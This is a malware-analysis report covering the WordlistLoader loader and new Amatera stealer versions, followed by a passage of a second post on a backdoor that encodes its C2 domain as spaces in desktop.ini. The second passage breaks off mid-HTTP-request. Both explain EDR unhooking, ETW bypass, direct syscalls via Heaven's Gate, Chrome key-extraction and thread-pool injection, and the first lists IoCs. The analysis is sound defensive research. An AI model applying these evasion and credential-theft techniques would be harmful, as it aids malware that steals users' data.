The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode, WordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:
<ul>
<li>
A single-instance check based on a named event
</li>
<li>
Unhooking of all loaded modules
</li>
<li>
An ETW bypass based on a hardware breakpoint and VEH
</li>
</ul>

<h3>Unhooking Loaded Modules</h3>
To determine whether a function is hooked, WordlistLoader enumerates loaded modules with <code>CreateToolhelp32Snapshot</code> using the <code>TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32</code> flags, skips those whose name contains <code>.exe</code>, and compares the first instruction of each named export with the corresponding instruction in a clean copy read from disk.

A function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and the clean copy does not, or when both begin with a jump, but to a different target:
<ul>
<li><code>E9</code> (near relative jump)</li>
<li><code>EB</code> (short relative jump)</li>
<li><code>EA</code> (far absolute jump)</li>
<li><code>FF</code> (indirect jump, although only <code>FF 25</code>, i.e. <code>jmp dword ptr [addr]</code>, is handled correctly)</li>
</ul>
Before the opcode is read, a single legacy prefix (<code>0x2E</code>, <code>0x36</code>, <code>0x3E</code>, <code>0x64</code>, <code>0x65</code>, <code>0x66</code>, <code>0xF0</code>, or <code>0xF2</code>) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the in-memory prologue is not a jump but matches <code>4C 8B D1 E9</code>, i.e. an x64 syscall stub (a <code>mov r10, rcx</code> followed by a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is detected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.

Notably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of simply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an absolute address appears. This is exactly the case with <code>FF 25</code> thunks, where WordlistLoader compares only the low 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.

<h3>ETW Bypass</h3>
The second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW (Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on <code>ntdll!NtTraceEvent</code> and registering a vectored exception handler. Every call to <code>NtTraceEvent</code> then raises an <code>EXCEPTION_SINGLE_STEP</code> exception, which the handler resolves by pointing the instruction pointer (<code>EIP</code>) at a stub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body of <code>NtTraceEvent</code>, so the event is never logged, and since the call still returns <code>STATUS_SUCCESS</code> (<code>0x00000000</code>), the caller has no indication anything went wrong.

<h3>Building the Shellcode</h3>
Finally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain English words, with each word representing exactly one byte. The mapping from English words to byte values is defined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to <code>0x00</code>, the word at index 144 to <code>0x90</code>, and so on.
Both the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather than the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence, looking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire sequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.

Notably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array of UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode one byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader reconstructs the shellcode by iterating over the array and passing each entry to <code>UuidFromStringA</code>, which converts the UUID into the corresponding 16 bytes of shellcode.

<h3>The Shellcode</h3>
The shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning time, is to repeatedly patch a single byte. Using the standard <code>call/pop</code> trick, the stub takes its own return address as the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay loop and then patching the target address (which is the same for every iteration). The value written decreases with every round, ultimately reaching <code>0x90</code> on the final iteration. As shown in Figure 11 below, the patched byte is part of a <code>call dword ptr [eax-0x6F6F6F70]</code> instruction, which corresponds to the <code>FF 90 90 90 90 90</code> opcodes. Therefore, overwriting the first byte with <code>0x90</code> turns the <code>call</code> instruction into a run of NOPs, allowing execution to fall through to the decryption stub that follows.
The stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the delay loop of 16,777,215 (<code>0xFFFFFF</code>) iterations that perform no meaningful computation.

Execution then proceeds to the decryption stub, which uses the same <code>call/pop</code> trick to obtain a pointer to the encrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR key followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub XORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key bytes and repeating this cycle until it encounters a <code>0x11C311C3</code> marker terminating the stream.
Finally, execution is transferred to the decrypted code, which resolves <code>NtProtectVirtualMemory</code>, re-protects the region as <code>PAGE_EXECUTE</code> (dropping the write access needed for the in-place decryption), and hands control over to a reflective loader responsible for unpacking and loading Amatera.

Interestingly, the reflective loader is identical to the one <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire documented</a> several months ago, suggesting it might originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering Amatera, which would point in the same direction, though we have no further evidence to support that claim.

<h2>Amatera 4.3.3-alpha1</h2>
Amatera was recently <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">documented by eSentire</a>, covering version 4.0.2 Beta. Since then, however, the stealer has remained under active development and has moved through several versions, with the latest one we have observed being 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version 4.3.3-alpha1.
<h3>Static Obfuscation</h3>
First of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was introduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect control-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.

Another notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single hashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the resolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with different constants and operation order. Consequently, the same API name maps to a different hash value depending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver, slowing down the analysis.
Finally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored as a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte, the key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing four key bytes. The plaintext byte is then recovered as <code>ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0</code>.
Interestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting decompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the binary. Should the branch ever be taken, it would subtract <code>0x7FFFFF00</code> from <code>ESP</code>, call a stub that does nothing but return zero, and add the same value back to <code>ESP</code>. Such a stack shift (of almost 2 GB) is nothing a regular compiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to decompile the function. For now, we have only observed this trick in a single function, but given the pace at which Amatera evolves, it would not be surprising to see it spread across the whole binary in the future.

<h3>Hardened Syscall Invocation Through the WoW64 Transition</h3>
First, it is appropriate to acknowledge <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">Stephen Eckels</a>, whose article <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques</a> explains the mechanisms discussed below in greater detail. Second, it is worth highlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.
In a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end in the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-bit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating WinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is built around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application interacts with, which "forwards" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit mode.
In practice, the application calls a function in the 32-bit ntdll, which passes control to <code>ntdll!Wow64SystemServiceCall</code>. From there, the execution continues through <code>ntdll!Wow64Transition</code> and lands in <code>wow64cpu!KiFastSystemCall</code>, the stub through which the WoW64 layer leaves the 32-bit world. The transition is achieved by a far jump using the <code>0x33</code> selector, which switches the processor into 64-bit mode, where the WoW64 layer issues the actual syscall.
In an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether, resolving the syscall numbers on its own and entering the WoW64 layer directly through <code>wow64cpu!KiFastSystemCall</code>. The transition itself is performed as an indirect call to <code>TEB-&gt;WOW32Reserved</code>, a field that conveniently holds the address of <code>wow64cpu!KiFastSystemCall</code>.
In version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them loading the masked SSN from a global, unmasking it with a XOR, and calling <code>TEB-&gt;WOW32Reserved</code> directly through the <code>call large dword ptr fs:0C0h</code> instruction. However, regular applications do not make direct calls to <code>TEB-&gt;WOW32Reserved</code>, making the sequence fairly noisy.

That is why, in newer versions, Amatera no longer invokes <code>TEB-&gt;WOW32Reserved</code> directly. Instead, it uses indirect calls routed through a global variable holding the same transition address. On top of that, most of the stubs have been padded with random junk instructions scattered between the remaining instructions, so that the stubs leave behind neither the <code>fs:0C0h</code> reference nor the uniform layout.

Moreover, the address of <code>wow64cpu!KiFastSystemCall</code> that is stored in that global variable is not retrieved by a simple read of <code>fs:[0xC0]</code>, but through a dedicated Heaven's Gate stub. Newer versions also check the resolved transition address before putting it to use, by verifying that it falls within the range of <code>wow64cpu.dll</code>, i.e. that the gate has not been redirected elsewhere (hooked).

<h3>x64 Syscall Trampolines Executed Through Heaven's Gate</h3>
Being a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when interacting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit process requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit ntdll exposes a handful of <code>NtWow64*</code> helpers for exactly that purpose (such as, for example, <code>NtWow64AllocateVirtualMemory64</code> or <code>NtWow64WriteVirtualMemory64</code>), they do not cover everything Amatera requires for its injection technique.
That is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer performs internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing new in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a part of the calls Amatera makes through it.
In version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the arguments according to the standard Microsoft x64 calling convention, with the execution therefore going through the export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they can hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example, <code>NtReadVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtAllocateVirtualMemory</code>, <code>NtMapViewOfSection</code>, and <code>NtSetIoCompletion</code>) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own (and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64 syscall trampoline built at runtime.
Each trampoline consists of a 24-byte stub containing <code>mov r10, rcx</code>, <code>mov eax, SSN</code>, and a RIP-relative indirect jump to a <code>syscall; ret</code> gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and execute them, Amatera creates a section with <code>NtCreateSection</code> and maps it twice in its own process using <code>NtMapViewOfSection</code>: once with <code>RW</code> permissions for writing the stubs and once with <code>RX</code> permissions for running them.

<h3>Revamped Application-Bound Encryption Bypass</h3>
Up until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by injecting a payload into the browser process and invoking <code>IElevator::DecryptData</code> through the COM interface to decrypt the <code>v20_master_key</code> directly from the browser's context.
Since version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that of Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired by it. Therefore, as we have already covered the technique in <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">our previous blog post</a>, we will only do a quick recap of the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we recommend revisiting our earlier post.
From a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the <code>v20_master_key</code> stored in memory. There, however, the key is protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, which limits decryption to the process that encrypted the data. Therefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the complementary <code>CryptUnprotectMemory</code> from within the browser's context.
To find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to find the <code>lea</code> instruction that loads the address of the <code>os_crypt_async::Encryptor</code> vftable, as that is the class holding the protected <code>v20_master_key</code>. On a match, it resolves the vftable address using the displacement of the <code>lea</code> instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan of the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the object's tree of key entries and taking the one tagged <code>v20</code>.
The clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as <code>48 8D 05 00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41</code> and pairs it with the wildcard mask <code>0xEFF87</code>, the very same mask Remus applies to <code>48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41</code>. Breaking it down, the only positions in which the two patterns differ are the four displacement bytes of the <code>lea</code> instruction and the displacement byte of the <code>mov</code> instruction. These are precisely the five bytes the mask excludes from the comparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever <code>chrome.dll</code> build the pattern was lifted from. Everything else, the mask included, matches byte for byte.

Where Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser. Remus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call <code>CryptUnprotectMemory</code> on the memory pointing to the encrypted <code>v20_master_key</code> and copy it into a pre-allocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more. Besides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for recovering the legacy <code>v10_master_key</code>.
To get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in the browser. The first section holds the payload, mapped locally as <code>RW</code> and <code>RX</code> in the browser, whereas the second carries a configuration blob and the output area for the recovered keys, mapped as <code>RW</code> on both sides. The configuration blob holds the pointers to the native and crypto functions used by the payload, the path to the browser's <code>Local State</code>, the address of the encrypted <code>v20_master_key</code>, and the already mentioned ABE pattern with the mask should the payload need to locate the key again (by default, the key is located by the stealer itself, reading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).
Finally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread, Amatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote <code>TP_DIRECT</code> Insertion), <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">published by SafeBreach in 2023</a>. It enumerates the browser's handles with <code>NtQueryInformationProcess</code>, duplicates them with <code>NtDuplicateObject</code>, identifies the I/O completion port among them with <code>NtQueryObject</code>, and queues a <code>TP_DIRECT</code> work item on it with <code>NtSetIoCompletion</code>, leaving the execution to one of the browser's own worker threads. The work item itself is a 72-byte <code>TP_DIRECT</code> structure assembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation. Once the work item is queued, the stealer polls the output section for a marker signaling that the payload has finished.

<h2>Summary</h2>
In this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns. We covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion mechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.
We also covered the latest updates in Amatera, which has seen months of active development, with the effort showing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed heavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its Application-Bound Encryption bypass into one closely resembling that of Remus/Lumma.

<h2>Indicators of Compromise (IoCs)</h2>
<h3>Compromised Websites Observed Serving ClearFake's FakeCaptchas</h3>
abogadosrosarinos[.]com 
aptisweb[.]com 
avene-hebergement[.]com 
https-xhamster[.]com 
www[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan 
skybap[.]shop
<h3>WordlistLoader</h3>
eb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a 
cd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa 
84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20 
124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7 
9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1
9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant) 
e37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant) 
596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant) 
5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant) 
25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)

<h3>Amatera</h3>
9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1) 
7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1) 
d9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1) 
54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2) 
8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1) 
42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1) 
38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1) 
88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3) 
c4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2) 
ee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1) 
90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha) 
fee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha) 
147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta) 
2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)
Amatera C2s
health[.]luminexus[.]cc 
stream[.]luminfrastructure[.]cc 
stream[.]threatenbrick[.]cc 
yw[.]enhanceblabber[.]cc 
pmpo[.]cloudvector[.]cc 
dust[.]packetflow[.]cc 
updates[.]wildtrail[.]cc 
app-api[.]lensstory[.]cc 
proxy[.]fluxautomation[.]cc 
stream[.]pawpalace[.]cc 
dist[.]runtimeconsole[.]cc 
id[.]binaryharbor[.]cc 
wss[.]infrastructurecore[.]cc 
id[.]exhumepacifier[.]cc
Amatera Dead Drops
telegra[.]ph/Executing-modules-as-scripts-06-16 
telegra[.]ph/Using-Python-as-a-Calculator-06-05 
telegra[.]ph/Jack-Little-04-18 
telegra[.]ph/Parameters-04-03 
telegra[.]ph/Jewel-03-06 
telegra[.]ph/Catnap-Skimmed-03-06

 New Loader Hiding Shellcode in Plain English Words

 WordlistLoader Delivering Amatera via ClearFake Campaigns 

Senior Malware Researcher

We found a custom Windows backdoor on a single corporate workstation while hunting for unusual WMI persistence. The malware was small, had a limited command set and disguised itself as legitimate Realtek software. Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows `desktop.ini` file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address. We found no evidence connecting the backdoor to a known threat actor, and the original infection happened before our protection was installed. However, the implant's custom design, its deployment on only one observed machine and the absence of related samples suggest that this may have been a deliberately targeted operation rather than a failed mass campaign.

<h2>An event subscription named "Realtek"</h2>
Most malicious WMI subscriptions are easy to spot because the query asks for something no administrator would. This one asked for something an administrator plausibly might, at a very specific time.
Our behavioural engine dumped the subscription it objected to. This is our own export of the WMI objects rather than a file the attacker left on disk, with the host name redacted:

A filter watching <code>Win32_LocalTime</code> for hour 19, minute 50 is a restart timer, not a boot hook. The subscription itself lives in the WMI repository and survives reboots; what it does not do is start anything at boot, so a machine restarted in the morning stays quiet until the evening.
<code>RtkNGUI64.exe</code> is the real name of Realtek's audio control panel, and the consumer's command line writes the path in 8.3 short form, <code>Progra~1</code> rather than <code>Program Files</code>.

<h2>Why one machine is the interesting part</h2>
Everything in this post came from a single host: a domain-joined Windows 7 SP1 workstation, 64-bit. One managed endpoint, and our prevalence figure for the binary is exactly one.
That number is easy to misread, because low prevalence usually means a campaign that failed. Low prevalence should not mean low investigative priority: a threat sitting on one machine can matter more than one sitting on a hundred thousand, and a triage queue sorted by prevalence will show it to you last, if it shows it to you at all. The grounds for reading this one the other way need no victim detail at all.
The implant is custom-built: twelve kilobytes, no runtime library, and a config format that appears nowhere else in our corpus. None of the artefacts have ever been uploaded to VirusTotal in more than five years. We also searched VirusTotal by content for the fragments that would betray a sibling, including the <code>c%s%se /c %s</code> format string, the <code>a=%s&amp;r=none</code> beacon body, <code>/version/check.php</code> inside Windows executables, and a stock UTF-16 <code>desktop.ini</code> header followed by runs of spaces. All four returned nothing. Two looser patterns, the table its checksum routine uses to rebuild a polynomial and a bare run of UTF-16 spaces, matched unrelated files and tell us nothing either way.
The domain also typosquats a Windows service, which is a choice made by someone who knew what <code>DiagTrack</code> was rather than the output of a generation algorithm, whatever VirusTotal's <code>dga</code> tag suggests.
A commodity loader that only ever lands on one machine is broken. A hand-written implant that only ever lands on one machine may be working exactly as intended.
We will not push the assessment further than that. We never captured a task and never saw a second-stage payload, and we cannot tell you how the machine was reached, for a reason the timeline further down makes plain: the implant was already in place before our software arrived. Whatever the initial vector was, it happened on an endpoint nobody was watching. We name no actor and no campaign.

<h2>What RtkNGUI64.exe actually is</h2>
The binary is a 12,288-byte x64 executable with no C runtime, no packer, and an entry point that goes straight into the main loop. It imports 48 functions by name across <code>KERNEL32</code>, <code>WININET</code>, <code>WS2_32</code>, <code>IPHLPAPI</code>, <code>SHLWAPI</code> and <code>ADVAPI32</code>, and that is the whole dependency list. <code>msvcrt.dll</code> is not on it, and leaving it out took deliberate work. The appendix has the substitutions the author wrote around it, the compiler they used, and the day they built it.
There is no encrypted blob, no import hashing and no anti-debug. The engineering worth looking at is all in where the thing keeps its configuration.

<h2>The config is a desktop.ini full of spaces</h2>
On startup the backdoor assembles a path from the <code>PROGRAMDATA</code> environment variable and two string fragments, opens the result with <code>OPEN_ALWAYS</code>, and checks that there is something past the header to read:
<pre><code>GetEnvironmentVariableA("PROGRAMDATA", ini_name, 0x40u); lstrcatA(ini_name, "\DESKTOP."); // first half of the filename

// ... bot ID, mutex, heap and pipe setup: sixteen lines ...

lstrcatA(ini_name, "ini"); // second half, appended much later

hFile = CreateFileA(ini_name, GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // both the subtraction and the comparison are unsigned (jbe, not jle) if ( hFile == INVALID_HANDLE_VALUE || (payload_size = GetFileSize(hFile, 0) - 174) &lt;= 0x31 ) ExitProcess(0);

</code></pre>
The filename arrives in two pieces, and not adjacent ones: sixteen lines of unrelated setup sit between the two <code>lstrcatA</code> calls. <code>\DESKTOP.</code> and <code>ini</code> are stored as separate literals in <code>.rdata</code>, so the string <code>desktop.ini</code> appears nowhere in the file. Grep the binary for it and you get nothing.
The size check is looser than it looks. The subtraction and the comparison are both unsigned — <code>jbe</code> in the disassembly — so it rejects only files of 174 to 223 bytes. <code>OPEN_ALWAYS</code> means a host with no config gets an empty <code>desktop.ini</code> created for it, <code>0 - 174</code> wraps to <code>0xFFFFFF52</code>, the guard passes, and the code asks the process heap for four gigabytes of zeroed memory. Nothing checks the result: on any machine that cannot satisfy that, the counting loop dereferences a null pointer. So on a host the operator never staged, the implant creates a zero-byte <code>C:\ProgramData\desktop.ini</code> and crashes on the spot.
Then it seeks to byte 174 and counts:
<pre><code>SetFilePointer(hFile, 174, 0, FILE_BEGIN); // skip the stock Windows header ReadFile(hFile, payload, payload_size, &amp;bytes_read, 0);

line = 0; i = 0; do { if ( payload[i] == 13 ) // CR: next line, skip the LF { ++line; i += 2; } else { ++line_lengths[line]; // count one character on this line } i += 2; // stride 2: the file is UTF-16LE } while ( i &lt; payload_size );

lstrcpyA(g_server, line_lengths); // the counts are the string lstrcatA(g_server, ".com");

</code></pre>
There is no key and no decryption. <code>line_lengths</code> is an array of bytes holding one count per line, and the last two statements hand that array to <code>lstrcpyA</code> as though it were a string. The number of characters on a line is the ASCII code of one character of the domain. This is unary encoding, the tally-marks of data formats.
The stride of 2 is there because the file is UTF-16LE, and the offset of 174 is not arbitrary: it is the exact byte length of a stock Windows <code>desktop.ini</code>, from the byte-order mark through a blank line, the <code>[.ShellClassInfo]</code> section header, <code>LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781</code> and its closing CRLF. The attacker invented no file format. They took the real Windows file that gives the Program Files folder its localised display name and appended to it.
In an editor it looks like an ordinary system file with some trailing whitespace. Typed out as UTF-16LE strings, it is thirteen lines: the three-line stock header, then ten lines containing nothing else.

The addresses in that left column are the domain. Each line starts two bytes per space plus four for the CRLF after its predecessor, so <code>0x17A - 0xAE</code> is 204, giving 100 spaces and the letter <code>d</code>. Counting the spaces on each line of the sample we recovered gives ten numbers:
<table>
<thead>
<tr>
<th class="markdown-align-right">Line</th>
<th class="markdown-align-right">Spaces</th>
<th class="markdown-align-left">Character</th>
</tr>
</thead>
<tbody>
<tr>
<td class="markdown-align-right">1</td>
<td class="markdown-align-right">100</td>
<td class="markdown-align-left">d</td>
</tr>
<tr>
<td class="markdown-align-right">2</td>
<td class="markdown-align-right">105</td>
<td class="markdown-align-left">i</td>
</tr>
<tr>
<td class="markdown-align-right">3</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">4</td>
<td class="markdown-align-right">103</td>
<td class="markdown-align-left">g</td>
</tr>
<tr>
<td class="markdown-align-right">5</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">6</td>
<td class="markdown-align-right">116</td>
<td class="markdown-align-left">t</td>
</tr>
<tr>
<td class="markdown-align-right">7</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">8</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">9</td>
<td class="markdown-align-right">99</td>
<td class="markdown-align-left">c</td>
</tr>
<tr>
<td class="markdown-align-right">10</td>
<td class="markdown-align-right">107</td>
<td class="markdown-align-left">k</td>
</tr>
</tbody>
</table>
With the hardcoded suffix, the backdoor calls home to <code>diagrtrack.com</code>.
That name is a typosquat of <code>DiagTrack</code>, the Windows service better known by its display name, Connected User Experiences and Telemetry. The malware hid the address of its telemetry server inside a Windows shell configuration file, and named that server after the Windows telemetry service.
<pre><code>Twenty lines of Python recover the domain from any config of this shape:

HEADER_LEN = 174 # length of the stock Windows Program Files desktop.ini

def decode(path): with open(path, "rb") as fh: payload = fh.read()[HEADER_LEN:]

counts, current, i = [], 0, 0
while i &lt; len(payload):
 if payload[i] == 0x0D: # CR ends a line; skip the following LF
 counts.append(current)
 current = 0
 i += 4
 continue
 current += 1
 i += 2 # stride 2: UTF-16LE

if current:
 counts.append(current)

return "".join(chr(c) for c in counts) + ".com"
</code></pre>
The scheme is wasteful in a revealing way. Because each character costs as many UTF-16 spaces as its ASCII value, the config's size is a direct function of the domain it hides: <code>174 + 2 * sum(character codes) + 4 * lines</code>, which for <code>diagrtrack</code> gives 2,318 bytes exactly. The file size is a fingerprint of the domain, and the domain can be narrowed down from the file size alone.

<h2>The C2 protocol</h2>
Each victim gets an eight-character identifier: the CRC-32 of <code>USERNAME</code>, <code>USERDOMAIN</code> and <code>COMPUTERNAME</code> concatenated, formatted as <code>%08X</code>. The same value becomes the name of a mutex, and a second copy waits a second for it before giving up. That matters more than it sounds, because the first copy never gives up: the binary has exactly one <code>ExitProcess</code> call, in the configuration routine, reached only when the mutex is already held or the config is unusable. Past that point the process loops forever. The 19:50 trigger therefore fires to useful effect once per boot, and every later firing dies on the mutex.
The CRC is standard, but neither the polynomial nor the usual 256-entry lookup table is anywhere in the file. What is there is a 14-byte table of bit positions that the code walks at runtime, setting one bit per entry to rebuild <code>0xEDB88320</code>. That reads like an attempt to leave no constant for a scanner to key on, and it is not: it is zlib's <code>DYNAMIC_CRC_TABLE</code> build option, copied in whole. The appendix works out which decade the copy came from.
Every cycle then opens with an ICMP knock rather than an HTTP request. The backdoor resolves the domain, puts its eight-byte identifier in the payload of a 32-byte echo request, and waits a second for a reply. Only if the ping succeeds does it speak HTTP:
<pre><code>POST /version/check.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded

